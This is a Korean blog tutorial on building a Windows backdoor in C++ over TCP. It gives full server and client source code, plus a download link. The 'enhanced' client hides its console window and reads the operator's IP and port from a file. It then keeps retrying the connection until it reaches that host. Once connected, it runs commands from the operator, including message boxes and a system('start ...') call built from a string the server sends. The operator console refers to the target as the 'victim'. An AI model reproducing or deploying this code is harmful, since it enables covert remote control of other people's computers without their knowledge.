백도어 만들기 C++ TCP
시작하기 앞서서 C++11,14에서 정상작동 확인되었으며.
IDE는 DevCpp를 사용했으며
운영체제는 Windows10 home edition 정품 사용했습니다
안녕하세요!
이번에는 소켓 심화 1일 차
백도어 만들기입니다!
빨리 글 쓰고 싶어서 미치는 줄 알았어요 ㅋㅋㅋ
시작하기 앞서서
혹시 Windows10 기준 C++11로 TCP서버랑 클라이언트 만드는 법을 모르시는 분은 밑에 링크에 들어가셔서 보고 오세요!
소켓 기본 C++ TCP
시작하기앞서서 저가 설명하는내용은 저가 이해한대로쓴것이며 주관적이고, 이 카테고리와 더불어 소켓에 대한 글을 쓴 목적은 복습하기위함입니다. 잘못된부분이있다면 댓글을 달아주세요. �
mawile.tistory.com
소켓 데이터 C++ TCP
시작하기 앞서서 STDC++11,14에서 정상작동이 확인되었습니다. IDE는 DeVcpp을 사용했습니다. " 이글은 윈도우소켓 기본 C++ TCP " 글의 다음글임을 참고해주세요! 이번에는 ! 서버와 클라이언트간의 ��
mawile.tistory.com
그럼 시작합니다....!!
코드는 지난 기초 글을 기준으로 이어서 사용할게요!
[[[ 서버 ]]]
( 명령 전송 )
#include <iostream>
#include <winsock2.h>
using namespace std;
#define PK_SIZE 1026
int PORT;
int main(){
while(1){
cout << "포트를 입력하세요>> ";
cin >> PORT;
if(1<=PORT&&PORT<=25565) break;
else cout << "잘못된 값\n";
}
system("cls");
WSADATA wsa;
WSAStartup(MAKEWORD(2,2),&wsa);
SOCKET skt;
skt = socket(PF_INET,SOCK_STREAM,IPPROTO_TCP);
SOCKADDR_IN addr={0};
addr.sin_family = AF_INET;
addr.sin_port = htons(PORT);
addr.sin_addr.s_addr = htonl(INADDR_ANY);
bind(skt, (SOCKADDR*)&addr,sizeof(addr));
listen(skt, SOMAXCONN);
SOCKADDR_IN client={0};
int client_size = sizeof(client);
SOCKET client_sock = accept(skt, (SOCKADDR*)&client,&client_size);
char cmd[PK_SIZE]={0},msgbox[PK_SIZE]={0};
while(1){
cout << "Shell>> ";
cin >> cmd;
if(!strcmp(cmd,"exit")) break;
else if(!strcmp(cmd,"help")) cout << "help - 도움말\nexit - 세선종료\nmsgbox - 메세지박스출력\nseeip - 피해자의 아이피보기\n";
else if(!strcmp(cmd,"seeip")) cout << "피해자의 아이피주소>> " << inet_ntoa(client.sin_addr) << endl;
else if(!strcmp(cmd,"msgbox")){
send(client_sock,cmd,strlen(cmd),0);
cout << "제목입력: ";
cin >> msgbox;
send(client_sock,msgbox,strlen(msgbox),0);
cout << "내용입력: ";
cin >> msgbox;
send(client_sock,msgbox,strlen(msgbox),0);
}
else send(client_sock,cmd,strlen(cmd),0);
}
closesocket(client_sock);
closesocket(skt);
WSACleanup();
}
추가한 부분부터 설명드리자면
#define PK_SIZE 1026
int PORT;
이 부분!
PK_SIZE는 보낼 버퍼의 변수 배열 크기를 통일해준 겁니다!
어디는 1000 하고 어딘 100 하면 어지러우니까!
int PORT는 PORT 저장 함수!
while(1){
cout << "포트를 입력하세요>> ";
cin >> PORT;
if(1<=PORT&&PORT<=25565) break;
else cout << "잘못된 값\n";
}
system("cls");
포트를 입력받고 만약 포트가 1부터 25565 일시 반복문 나가기,
아닐 시 한 번 더 입력입니다 이거는 잘못된 포트 값 입력을 방지하기 위함입니다.
char cmd[PK_SIZE]={0},msgbox[PK_SIZE]={0};//보낼데이터저장 장소만들기~~
while(1){
cout << "Shell>> ";
cin >> cmd; //cmd에 내용넣기
if(!strcmp(cmd,"exit")) break; //만약 cmd의내용이 0 (strcmp는 두값이 같을시 0 ,즉 boolean값으론 false반환)
else if(!strcmp(cmd,"help")) cout << "help - 도움말\nexit - 세선종료\nmsgbox - 메세지박스출력\nseeip - 피해자의 아이피보기\n";
else if(!strcmp(cmd,"seeip")) cout << "피해자의 아이피주소>> " << inet_ntoa(client.sin_addr) << endl; //클라이언트아이피출력
else if(!strcmp(cmd,"msgbox")){ //cmd의내용이 msgbox일경우
send(client_sock,cmd,strlen(cmd),0); //클라이언트에게 명령이 msgbox니까 msgbox전용 데이터받을준비를 해! 라고 미리알려줌
cout << "제목입력: ";
cin >> msgbox; //제목
send(client_sock,msgbox,strlen(msgbox),0); //전송
cout << "내용입력: ";
cin >> msgbox; //내용
send(client_sock,msgbox,strlen(msgbox),0); //전송
}
else send(client_sock,cmd,strlen(cmd),0); //이모든 값이 다아닐경우 그냥 cmd의값 전송
}
cmd는 클라이언트로 보낼 메인 데이터를 넣을 장소!
msgbox는 msgbox명령어 전용!
여기는 길어서 주석으로 설명!
[[[ 클라이언트 ]]]
( 명령받기 )
#include <iostream>
#include <winsock2.h>
using namespace std;
#define PK_SIZE 1026
char IP[PK_SIZE]={0};
int PORT;
int main(){
while(1){
cout << "아이피를 입력하세요>> ";
cin >> IP;
cout << "포트를 입력하세요>> ";
cin >> PORT;
if(1<=PORT&&PORT<=25565) break;
else cout << "잘못된 값\n";
}
system("cls");
WSADATA wsa;
WSAStartup(MAKEWORD(2,2),&wsa);
SOCKET skt;
skt = socket(PF_INET,SOCK_STREAM,IPPROTO_TCP);
SOCKADDR_IN addr={0};
addr.sin_family = AF_INET;
addr.sin_port = htons(PORT);
addr.sin_addr.s_addr = inet_addr(IP);
while(1){
if(!connect(skt,(SOCKADDR*)&addr,sizeof(addr))) break;
}
char recve[PK_SIZE]={0},title[PK_SIZE]={0},sub[PK_SIZE]={0};
while(1){
ZeroMemory(&recve,PK_SIZE);
recv(skt, recve, PK_SIZE, 0);
if(!strcmp(recve,"msgbox")){
recv(skt, title, PK_SIZE, 0);
recv(skt, sub, PK_SIZE, 0);
MessageBox(0,sub,title,MB_OK);
}
}
closesocket(skt);
WSACleanup();
}
서버와 중복되는 내용은 설명에서 제외했습니다!
while(1){
if(!connect(skt,(SOCKADDR*)&addr,sizeof(addr))) break;
}
connect함수에서 나온 값 0즉 boolean값으론 false는 ( 자료형 boolean에서 1은 true )
서버 연결에 성공했을 때입니다..!
연결이 될 때까지 묵시적으로 계속 연결 시도를 합니다~~
안 하고 서버를 안 킨 채로 시간 지나면 클라이언트가 저절로 꺼지더라고요!
char recve[PK_SIZE]={0},title[PK_SIZE]={0},sub[PK_SIZE]={0};
while(1){
ZeroMemory(&recve,PK_SIZE);
//recve데이터를 받아올장소의 메모리내용을 초기화!(안하면 가끔 이상한 기호가같이나와서 크기와 관련한문제로 오작동을 일으킬때가있어요)
recv(skt, recve, PK_SIZE, 0); //서버에서 데이터받아오기!
if(!strcmp(recve,"msgbox")){ //만약 내용이 msgbox일경우
recv(skt, title, PK_SIZE, 0); //제목받아오고
recv(skt, sub, PK_SIZE, 0); //내용받아오고
MessageBox(0,sub,title,MB_OK); //출력
}
}
이곳도 주석으로 설명하는 게 더 효과적일 것 같아서 주석을 달았습니다!
자 이제 백도어 만들기 어느 정도 이해 가셨으면 밑에 있는 예제도
이해가 가실까요??
저가 추가로 프로페셔널하게 몇몇 기능 더 추가했어요!
이거는 하단에 github링크를 올려놨으니 다운로드하여서 연습하셔도 돼요!
[[[ 서버 ]]]
( 강화 버전 )
#include <iostream>
#include <winsock2.h>
using namespace std;
#define PK_SIZE 1026
int PORT;
void CD(){
CONSOLE_CURSOR_INFO cur;
GetConsoleCursorInfo(GetStdHandle(STD_OUTPUT_HANDLE), &cur);
cur.bVisible = 0;
SetConsoleCursorInfo(GetStdHandle(STD_OUTPUT_HANDLE), &cur);
}
int main(){
CD();
while(1){
cout << "포트를 입력하세요>> ";
cin >> PORT;
if(1<=PORT&&PORT<=25565) break;
else cout << "잘못된 값\n";
}
system("cls");
WSADATA wsa;
WSAStartup(MAKEWORD(2,2),&wsa);
SOCKET skt;
skt = socket(PF_INET,SOCK_STREAM,IPPROTO_TCP);
SOCKADDR_IN addr={0};
addr.sin_family = AF_INET;
addr.sin_port = htons(PORT);
addr.sin_addr.s_addr = htonl(INADDR_ANY);
bind(skt, (SOCKADDR*)&addr,sizeof(addr));
listen(skt, SOMAXCONN);
SOCKADDR_IN client={0};
int client_size = sizeof(client);
SOCKET client_sock = accept(skt, (SOCKADDR*)&client,&client_size);
char cmd[PK_SIZE]={0},msgbox[PK_SIZE]={0};
while(!WSAGetLastError()){
ZeroMemory(&cmd,PK_SIZE);
ZeroMemory(&msgbox,PK_SIZE);
cout << "Shell>> ";
cin >> cmd;
if(!strcmp(cmd,"exit")){
send(client_sock,cmd,strlen(cmd),0);
break;
}
else if(!strcmp(cmd,"help")) cout << "help - 도움말\nexit - 세선종료\nmsgbox - 메세지박스출력\nseeip - 피해자의 아이피보기\nopenweb - 웹페이지열기\nshowconsole - 피해자 콘솔창 온오프\n";
else if(!strcmp(cmd,"seeip")) cout << "피해자의 아이피주소>> " << inet_ntoa(client.sin_addr) << endl;
else if(!strcmp(cmd,"msgbox")){
send(client_sock,cmd,strlen(cmd)+1,0);
cout << "제목입력: ";
cin >> msgbox;
send(client_sock,msgbox,strlen(msgbox)+1,0);
cout << "내용입력: ";
cin >> msgbox;
send(client_sock,msgbox,strlen(msgbox)+1,0);
}
else if(!strcmp(cmd,"openweb")){
send(client_sock,cmd,strlen(cmd)+1,0);
cout << "웹주소입력: ";
cin >> msgbox;
send(client_sock,msgbox,strlen(msgbox)+1,0);
}
else if(!strcmp(cmd,"showconsole")){
send(client_sock,cmd,strlen(cmd)+1,0);
cout << "입력(true, false): ";
cin >> msgbox;
if(!strcmp(msgbox,"true")||!strcmp(msgbox,"false")){
send(client_sock,msgbox,strlen(msgbox)+1,0);
}
else send(client_sock,msgbox,strlen(msgbox)+1,0);
}
else send(client_sock,cmd,strlen(cmd)+1,0);
}
closesocket(client_sock);
closesocket(skt);
WSACleanup();
}
코드 설명 갑니다~!
void CD(){
CONSOLE_CURSOR_INFO cur; //콘솔커서정보 구조체를 cur이란 이름으로저장
GetConsoleCursorInfo(GetStdHandle(STD_OUTPUT_HANDLE), &cur);
cur.bVisible = 0; //bVisible 0 즉 false값으로바꾸기
SetConsoleCursorInfo(GetStdHandle(STD_OUTPUT_HANDLE), &cur);
}
while(!WSAGetLastError()){ //WSAGetLastError() 클라이언트의접속이 끊겼을때에 break할겁니다
ZeroMemory(&cmd,PK_SIZE);
ZeroMemory(&msgbox,PK_SIZE);
cout << "Shell>> ";
cin >> cmd;
if(!strcmp(cmd,"exit")){
send(client_sock,cmd,strlen(cmd),0);
break;
}
else if(!strcmp(cmd,"help")) cout << "help - 도움말\nexit - 세선종료\nmsgbox - 메세지박스출력\nseeip - 피해자의 아이피보기\nopenweb - 웹페이지열기\nshowconsole - 피해자 콘솔창 온오프\n";
else if(!strcmp(cmd,"seeip")) cout << "피해자의 아이피주소>> " << inet_ntoa(client.sin_addr) << endl;
else if(!strcmp(cmd,"msgbox")){
send(client_sock,cmd,strlen(cmd)+1,0);
cout << "제목입력: ";
cin >> msgbox;
send(client_sock,msgbox,strlen(msgbox)+1,0);
cout << "내용입력: ";
cin >> msgbox;
send(client_sock,msgbox,strlen(msgbox)+1,0);
}
else if(!strcmp(cmd,"openweb")){
send(client_sock,cmd,strlen(cmd)+1,0);
cout << "웹주소입력: ";
cin >> msgbox;
send(client_sock,msgbox,strlen(msgbox)+1,0);
}
else if(!strcmp(cmd,"showconsole")){
send(client_sock,cmd,strlen(cmd)+1,0);
cout << "입력(true, false): ";
cin >> msgbox;
if(!strcmp(msgbox,"true")||!strcmp(msgbox,"false")){ //true나 false일경우만 캐치
send(client_sock,msgbox,strlen(msgbox)+1,0); //전송
}
else send(client_sock,msgbox,strlen(msgbox)+1,0); //오류발생방지용(오류라기보단 결함..?)
}
else send(client_sock,cmd,strlen(cmd)+1,0);
}
[[[ 클라이언트 ]]]
( 강화 버전 )
#include <iostream>
#include <winsock2.h>
#include <fstream>
using namespace std;
#define PK_SIZE 1026
HWND hwnd;
char IP[PK_SIZE]={0};
int PORT;
int main(){
hwnd = GetConsoleWindow();
ShowWindow(hwnd, SW_HIDE);
ifstream ifs;
ifs.open("get.txt");
if(ifs.is_open()) ifs >> IP >> PORT;
ifs.close();
WSADATA wsa;
WSAStartup(MAKEWORD(2,2),&wsa);
SOCKET skt;
skt = socket(PF_INET,SOCK_STREAM,IPPROTO_TCP);
SOCKADDR_IN addr={0};
addr.sin_family = AF_INET;
addr.sin_port = htons(PORT);
addr.sin_addr.s_addr = inet_addr(IP);
while(1){
if(!connect(skt,(SOCKADDR*)&addr,sizeof(addr))) break;
}
char recve[PK_SIZE]={0},title[PK_SIZE]={0},sub[PK_SIZE]={0};
while(1){
ZeroMemory(&recve,PK_SIZE);
ZeroMemory(&title,PK_SIZE);
ZeroMemory(&sub,PK_SIZE);
recv(skt, recve, PK_SIZE, 0);
if(!strcmp(recve,"exit")){
break;
}
else if(!strcmp(recve,"msgbox")){
recv(skt, title, PK_SIZE, 0);
recv(skt, sub, PK_SIZE, 0);
MessageBox(0,sub,title,MB_OK);
}
else if(!strcmp(recve,"openweb")){
recv(skt, sub, PK_SIZE, 0);
sprintf(title,"start %s",sub);
system(title);
}
else if(!strcmp(recve,"showconsole")){
recv(skt, sub, PK_SIZE, 0);
if(!strcmp(sub,"true")){
hwnd = GetConsoleWindow();
ShowWindow(hwnd, SW_SHOW);
}
else if(!strcmp(sub,"false")){
hwnd = GetConsoleWindow();
ShowWindow(hwnd, SW_HIDE);
}
}
}
closesocket(skt);
WSACleanup();
}
밑에는 새로 쓴 부분 설명!
HWND hwnd;
hwnd = GetConsoleWindow(); //콘솔정보가져오기
ShowWindow(hwnd, SW_HIDE); //콘솔정보를 바탕으로 콘솔창숨기기
ifstream ifs; //파일관리하기위해!
ifs.open("get.txt"); //get.txt파일 같은경로에있는 열기와 확인하는역할
if(ifs.is_open()) ifs >> IP >> PORT;
/*
[get.txt의내용]
===============
127.0.0.1 4444
*/
ifs.close(); //닫기
자 이쯤 하고 긴 글 봐주셔서 감사합니다...
ㅠㅠㅠㅡㅜㅜ(힘들다.. 2시간 정도 포스팅했네요..!)
밑에는 시연 영상이고 저는 다음에는 더욱 재밌게 찾아오겠습니다!!!!
시연영상
다운로드
DRAGONPROCESS/backdoor
Contribute to DRAGONPROCESS/backdoor development by creating an account on GitHub.
github.com
'🧼C, C++ > 네트워크' 카테고리의 다른 글
소켓 기본 틀 #1 (0) | 2020.10.05 |
---|---|
리버스 쉘 Reverse Shell C++ (0) | 2020.10.05 |
실시간 채팅 프로그램 C++ TCP (6) | 2020.10.01 |
소켓 데이터 C++ TCP (0) | 2020.09.24 |
소켓 기본 C++ TCP (0) | 2020.09.18 |
댓글